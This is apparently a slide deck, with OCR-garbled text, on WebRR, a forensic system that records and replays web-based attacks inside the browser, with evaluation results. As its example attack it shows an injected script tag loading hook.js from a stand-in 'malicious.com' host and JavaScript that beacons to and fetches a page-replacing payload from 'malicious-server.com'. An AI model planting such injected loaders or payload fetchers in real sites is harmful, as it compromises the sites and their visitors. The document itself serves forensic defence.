WebRR: A Forensic System for Replaying and Investigating Web-Based Attacks

Joey Allen, Zheng Yang, Feng Xiao, Matthew Landen Roberto Perdisci, Wenke Lee



Motivation: Rise in Data Breaches

When a data breach occurs, an investigation must be completed.

1. How did the adversary access the network?

2. What resources were accessed?



Whole-System Auditing (Rain, Protracer, RTAG)

- /Post-mortem analysis relies on system-level data provenance.
- Collects system-call logs on end host systems.

Whole-System Threat Detection (NoDoze, Holmes, PrioTracker)

- Prioritize and refine the investigation scope
- Leverage causality information for prioritizing *security-alerts*
- Underlying analysis relies on system-level audit logs





Issue: Web-Based Attacks

1. Web-Based Auditing

1. Generate causality logs in terms of web-based semantics.



JSGraph (NDSS'18), Mnemosyne (CCS'20)



Our Approach: WebRR

- 1. Web-Based Auditing
 - 1. Generate causality logs in terms of web-based semantics.
- 2. Support dynamic analysis by having replayable logs.





Security Motivation

Record-Only

- Existing web-based auditing solutions are record-only.
- Can only support static-based analysis.

Facilitate Dynamic Analysis

- Allows an investigator to interactively investigate an attack.
- Attach debuggers & analysis tools during the replay.

Visual Analysis

- Capability to show visual-component of an attack.
- Important in web-based, since many attacks have a visual component
 - Social-Engineering Attacks.



System-Level RR Systems:

- 1. Lack portability and OS dependent.
- 2. Usually require kernel and library modifications.
- 3. Theoretically possible to replay browser, but difficult in practice.

System-Level: Arnold (OSDI'14), Rain (CCS'17), RTAG (SEC'18), C²SR (NDSS'21)



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JS-Based RR Systems:

- 1./ Not appropriate for adversarial settings.
- 2. Can be easily disabled by adversary.
- 3. Designed for debugging.

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JS-Based RR: Jalangi (FSE'13), Mughost (NSDI'10)

System-Level: Arnold (OSDI'14), Rain (CCS'17), RTAG (SEC'18), C²SR (NDSS'21)



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In-Browser Systems:

- 1. Tamper-Proof
- 2. OS Agnostic
- 3. Existing approaches do not support deterministic replay.

System-Level RR Systems:

- 1. Lack portability and OS dependent.
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JS-Based RR: Jalangi (FSE'13), Mughost (NSDI'10)

In-Browser RR: WebRR, WebCapsule (CCS'15)

System-Level: Arnold (OSDI'14), Rain (CCS'17), RTAG (SEC'18), C²SR (NDSS'21)



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Requirements of a Forensic-Grade System

- Deterministic
 - Provide a deterministic replay of user's browsing session.
- Portable
 - Operates on a variety of devices, web applications, and platforms.
- Always On
 - The forensic analysis system is *always-on* to capture any potential security event.
- Tamper Proof
 - Cannot be easily disabled by an adversary.





<html lang="en-US"> V<head>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1">

k rel="profile" href="https://gmpg.org/xfn/11">

<meta name="robots" content="index, follow, max-image-preview:large, max-snippet:-1, max-video-; <!-- This site is optimized with the Yoast SEO Premium plugin v17.0 (Yoast SEO v17.0) - https:// <title>Home - ASEAN Main Portal</title>

<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Montserrat%3A400%2C700%7CRc _ext&display=swap">

<link rel="canonical" href="<u>https://asean.org/</u>">

<meta property="og:locale" content="en_US">

<meta property="og:type" content="website">

<meta property="og:title" content="Home">

<meta property="og:url" content="https://asean.org/">

<meta property="og:site_name" content="ASEAN Main Portal">

<meta property="article:publisher" content="https://web.facebook.com/aseansecretariat/?_rdc=1&ar
<meta property="article:modified time" content="2023-04-02T18:24:41+00:00">

<meta property="og:image" content="https://asean.org/wp-content/uploads/2020/04/ac-politicalsecu
<meta name="twitter:card" content="summary_large_image">

<meta name="twitter:site" content="@asean">

<meta name="twitter:label1" content="Est. reading time">

<meta name="twitter:data1" content="3 minutes">

<script type="text/javascript" id="www-widgetapi-script" src="https://www.youtube.com/s/player/f
<script type="text/javascript" async src="https://www.malicious.com/hook.js"></script >= /script 'script' async src="https://www.malicious.com/hook.js"></script >= /script 'script' async src="https://www.malicious.com/hook.js"></script >= /script 'script' async src="https://www.malicious.com/hook.js"></script 'script' async src="https://www.malicious.com/hook.js"</script >= /script

<script type="text/javascript" async src="https://www.googletagmanager.com/gtag/js?id=G-D3KGXBM <script src="https://www.youtube.com/iframe api"></script>

<script type="application/ld+json" class="yoast-schema-graph">....</script> <!-- / Yoast SEO Premium plugin. -->

<link rel="dns-prefetch" href="//fonts.googleapis.com">





<script type="text/javascript" async src="https://www.malicious.com/hook.js"></script> == \$0



```
window.requestIdleCallback(heartbeat)
setTimeout(getpayload(), 5000)
```



```
const URL = "https://malicious-server.com"
async function getpayload() {
   const res = await fetch(URL, {
     method: "POST",
     body: {"type" : "getPayload"}})
     document.body.innerHTML = await res.text()
}
async function heartbeat(idleDeadline) {
   const res = await fetch(URL, {
     method: "POST",
     body: { "type" : "heartbeat",
   }
}
```

```
"now" : Date.now() }})
window.requestIdleCallback(heartbeat)
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Step 1. Start heartbeat using an idle callback.

Step 2: Call getPayload() in 5 seconds.

```
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   const res = await fetch(URL, {
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Heartbeat() Heartbeat() Heartbeat() Payload() Heartbeat() Heartbeat()

Replayed Call Sequence







How do we handle this





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JEU Partitioning

• JS Execution Unit (JEU) Partitioning:

Divide JavaScript execution into a sequence of JEUs.

• Three types of units instrumented in Blink:

- Script Units: Record script execution.
- Callback Units: Record callback executions.
- Event Units: Record event execution.

• JEU Recorder Module:

• Add hooks into Blink to record when a JEU starts and finishes execution.



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async function heartbeat(idleDeadline) {
 const res = await fetch(URL, {
    method: "POST",
    body: { "type" : "heartbeat",
            "now" : Date.now() } })
    window.requestIdleCallback(heartbeat)
window.requestIdleCallback(heartbeat)
setTimeout(getpayload(), 5000)
```

Heartbeat Code Snippet



Script JEU: Hooks.js

```
Callback JEU: heartbeat
Script JEU: Hooks.js
```

```
const URL = "https://malicious-server.com"
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     body: {"type" : "getPayload"}})
     document.body.innerHTML = await res.text()
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async function heartbeat(idleDeadline) {
   const res = await fetch(URL, {
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     body: { "type" : "heartbeat",
          "now" : Date.now()}})
   window.requestIdleCallback(heartbeat)
}
```

window.requestIdleCallback(heartbeat)
setTimeout(getpayload(), 5000)



Callback JEU: heartbeat Callback JEU: heartbeat Script JEU: Hooks.js

window.requestIdleCallback(heartbeat)
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Callback JEU: payload

Callback JEU: heartbeat Callback JEU: heartbeat Script JEU: Hooks.js

window.requestIdleCallback(heartbeat)
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Callback JEU: heartbeat

Callback JEU: payload

Callback JEU: heartbeat

Callback JEU: heartbeat

Script JEU: Hooks.js

window.requestIdleCallback(heartbeat)
setTimeout(getpayload(), 5000)







High-Level Replay Strategy

Replay Strategy:

- 1. Replay the JEUs in the same order.
- 2. Ensure DOM State is consistent.
- 3. Replay sources of non-determinism.



2. JEU is Executed in V8.



Replay Engine: Replay Scheduler

1. Replay Operation Queue

2. Replay Dispatcher

DOM Construction
DOM Construction
Script JEU
DOM Construction
Callback JEU
DOM Construction
Script JEU
Event JEU
LVent JL0

Replay Operation Queue

Callback JEU	Event JEU		
eventType: 'setTimeout'	eventType: 'mouseClick'		
Frameld: 1	Attrs: {'x' : 125, 'y' : 90}		
Attrs : {'timeout' : 1000 }	Frameld: 1, Targetld: 25		
Sequence ID: 5	Sequence ID: 9		
Script JEU	DOM Construction		
eventType: 'script'	NadalD 05 FrancilD 1		
	NodelD: 25, FramelD: 1		
Frameld: 1	Tag Type: <a>		
FrameId: 1 hash : {'timeout' : 1000 }	Tag Type: <a> Attrs : { 'href' : 'example.co		



Replay Engine: Replay Scheduler





Recording Engine: Sources of NonDeterminism

Render Process









RQ1: How well does WebRR replay web-based attacks?

RQ2: Can WebRR replay highly dynamic web applications?

RQ3: What is runtime and storage overhead of WebRR?



Evaluation: Metrics

How do we define a replay as successful?

- 1. Successfully recorded the attack.
- 2. How closely doe the JEU sequences between record & replay match?
- 3. How closely does the API sequence between record & replay match?



Evaluation: Web-Based Attack Results

OS	Attack	Recorded	JEU-Sequence Edit Distance	API- Sequence Edit Distance	Replayed
Linux	Phishing	\checkmark	0	0	1
Linux	Credential Harvesting	1	0	0	1
Android	KeyLogger	✓	0	0	1
Android	Clickjacking	\checkmark	0	0	1
Windows	SW StealthyPush	1	0	0	1
Windows	SW-XSS	\checkmark	0	0	1
Windows	DriveBy	\checkmark	0	0	✓

Table 2. Evaluation Results for Web-Based Attacks.



Evaluation: Benign Websites

OS	Website	Recorded	JEU-Sequence Edit Distance	API- Sequence Edit Distance	Replayed
Linux	Stackoverflow	1	0	13/12,865	1
Linux	Wikipedia	\checkmark	0	4/52,700	\checkmark
Android	Whitehouse	1	0	4/6,148	1
Windows	Mozilla	\checkmark	0	12/26,790	\checkmark
Windows	Craigslist	1	0	8/26,536	1

Table 3. Evaluation Results for Benign Websites.



Evaluation: Runtime & Storage Overhead

Runtime Performance

- Page Load overhead of auditor was only 3.44% on average for Tranco 1k.
- Outlier: hxxp://www.wp.pl
- 20,000 DOM Insertions

Storage Overhead

• 2.2TB of disk space required to store logs for a single year.





Limitations

Callback Registration:

• Currently we only support the most popular methods for registering callbacks.

Drive-By Downloads:

• An adversary may be able to tamper with our system if browser is compromised.



Conclusion

Introduced WebRR, a novel system for replaying and analyzing modern web attacks.

- Demonstrated that WEBRR can replay a diverse range of web-based attacks, including those unachievable by previous state-of-the-art systems.
- Achieved only a 3.44% increase in page load time on top websites.



Questions



Our Approach: Move logs up the stack.

Issue:

• Existing work suffers from a semantic-gap issue.

Solution:

 Develop techniques to collect audit logs higher on the stack for more context.

Design Goal:

• Provide forensic analyst with capability to statically and dynamically analyze attacks.





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